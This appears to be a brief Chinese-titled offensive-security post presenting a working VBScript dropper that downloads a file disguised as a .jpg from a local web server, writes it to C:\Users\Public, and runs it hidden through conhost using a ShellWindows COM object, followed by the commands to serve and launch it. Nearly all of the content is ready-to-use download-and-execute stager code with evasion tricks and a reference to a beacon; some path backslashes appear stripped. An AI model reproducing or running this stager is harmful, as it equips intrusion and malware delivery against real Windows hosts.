通过VBS脚本下载文件并执行

conhost beacon.png

GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")

Sub LaunchCommand(ByVal obf_command)    With GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")        .Run .ExpandEnvironmentStrings(obf_command), 0, False    End WithEnd Sub
Function obf_SaveToFile(ByVal obf_saveAs, ByRef obf_data())
    Dim obf_out    Dim obf_shell: Set obf_shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")    obf_out = obf_shell.ExpandEnvironmentStrings(obf_saveAs)
    With CreateObject("Adodb.Stream")        .Type = 1        .Open        .write obf_data        .savetofile obf_out, 2    End With    obf_SaveToFile = True    Exit Function
    obf_SaveToFile = FalseEnd Function
Function DownloadFromURL(ByVal obf_URL)
    With CreateObject("Microsoft.XMLHTTP")        .Open "GET", obf_URL, False        .setRequestHeader "Accept", "*/*"        .setRequestHeader "Accept-Language", "en-US,en;q=0.9"        .setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Edg/86.0.622.69"        .setRequestHeader "Accept-Encoding", "gzip, deflate"        .setRequestHeader "Cache-Control", "private, no-store, max-age=0"        .setRequestHeader "DNT", "1"        .Send
        If .Status = 200 Then            DownloadFromURL = .ResponseBody            Exit Function        End If    End With
    DownloadFromURL = ""End Function



Sub DropFile(ByVal obf_saveto)    Dim obf_code    Dim obf_bytes    Dim obf_LaunchIt    obf_LaunchIt = True        obf_bytes = DownloadFromURL("http://localhost:8080/relaysec.jpg")        If obf_SaveToFile(obf_saveto, obf_bytes) And obf_LaunchIt Then        LaunchCommand "conhost C:UsersPublicdropped-Autoruns.jpg"    End IfEnd Sub
Sub obf_MacroEntryPoint()    On Error Resume Next
    Dim obf_location, obf_path    Dim obf_LaunchIt    obf_LaunchIt = True        Dim obf_shell: Set obf_shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")    obf_path = obf_shell.ExpandEnvironmentStrings("C:UsersPublic")    obf_location = obf_path & "dropped-Autoruns.jpg"
    Dim obf_FSO: Set obf_FSO = CreateObject("Scripting.FileSystemObject")
    If obf_FSO.FolderExists(obf_path) Then        If obf_FSO.FileExists(obf_location) = False Then            DropFile obf_location        ElseIf obf_LaunchIt Then            LaunchCommand "conhost C:UsersPublicdropped-Autoruns.jpg"        End If    Else        obf_FSO.CreateFolder (obf_path)        If obf_FSO.FileExists(obf_location) = False Then            DropFile obf_location        ElseIf obf_LaunchIt Then            LaunchCommand "conhost C:UsersPublicdropped-Autoruns.jpg"        End If    End IfEnd Sub
obf_MacroEntryPoint

python3 http.server 8080

cscript download.vbs